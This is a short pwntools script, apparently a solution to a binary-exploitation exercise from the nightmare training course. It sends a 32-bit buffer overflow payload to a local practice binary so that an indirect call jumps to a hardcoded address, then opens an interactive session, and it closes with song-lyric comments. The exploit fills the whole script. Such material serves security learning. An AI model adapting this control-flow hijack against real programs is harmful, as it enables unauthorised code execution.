# +------------------------------------------------+
# | Atack: Indirect Call                           |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

from pwn import *
import time
import sf

target = process("./Correction-IndrCall-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

bof_payload.set_input_start(0x34)
bof_payload.add_int32(0x20, 0x80491d7)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Ice Nine Kills                         |
# +------------------------------------------------+
# | Song: The Coffin is Moving                     |
# +------------------------------------------------+
# | We are,                                        |
# | We are,                                        |
# | the Walking Dead                               |
# +------------------------------------------------+

